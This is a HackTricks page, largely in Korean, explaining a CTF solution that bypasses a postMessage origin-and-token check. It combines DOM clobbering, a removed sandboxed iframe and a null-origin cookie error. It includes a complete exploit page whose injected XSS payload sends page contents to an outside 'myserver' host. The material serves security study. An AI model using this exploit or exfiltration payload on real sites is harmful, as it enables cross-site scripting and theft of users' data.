Bypassing SOP with Iframes - 2

Support HackTricks

Iframes in SOP-2

challengesolution에서 @Strellic_은 이전 섹션과 유사한 방법을 제안합니다. 확인해 보겠습니다.

이 challenge에서 공격자는 bypass해야 합니다:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

If he does, he can send a postmessage with HTML content that is going to be written in the page with innerHTML without sanitation (XSS).

첫 번째 검사를 우회하는 방법은 **window.calc.contentWindow**를 **undefined**로 만들고 **e.source**를 **null**로 만드는 것입니다:

  • **window.calc.contentWindow**는 실제로 **document.getElementById("calc")**입니다. **document.getElementById**를 **<img name=getElementById />**로 덮어쓸 수 있습니다 (Sanitizer API -여기-는 기본 상태에서 DOM 클로버링 공격으로부터 보호하도록 구성되어 있지 않습니다).

  • 따라서 **document.getElementById("calc")**를 **<img name=getElementById /><div id=calc></div>**로 덮어쓸 수 있습니다. 그러면 **window.calc**는 **undefined**가 됩니다.

  • 이제 **e.source**가 undefined 또는 **null**이 되어야 합니다 (왜냐하면 ==가 사용되기 때문에 **null == undefined**는 **True**입니다). 이를 얻는 것은 "쉬운" 일입니다. iframe을 생성하고 그로부터 postMessage를 보내고 즉시 iframe제거하면 **e.origin**은 **null**이 됩니다. 다음 코드를 확인하세요.

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

두 번째 체크를 우회하기 위해 **token**을 값이 null인 상태로 보내고 window.token 값을 **undefined**로 만드는 방법은 다음과 같습니다:

  • 값이 nullpostMessage에서 token을 보내는 것은 사소한 일입니다.

  • **document.cookie**를 사용하는 함수 **getCookie**를 호출할 때 **window.token**을 사용합니다. null 출처 페이지에서 **document.cookie**에 접근하면 error가 발생합니다. 이로 인해 **window.token**은 undefined 값을 가지게 됩니다.

최종 솔루션은 @terjanq에 의해 다음과 같습니다:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
HackTricks 지원하기

Last updated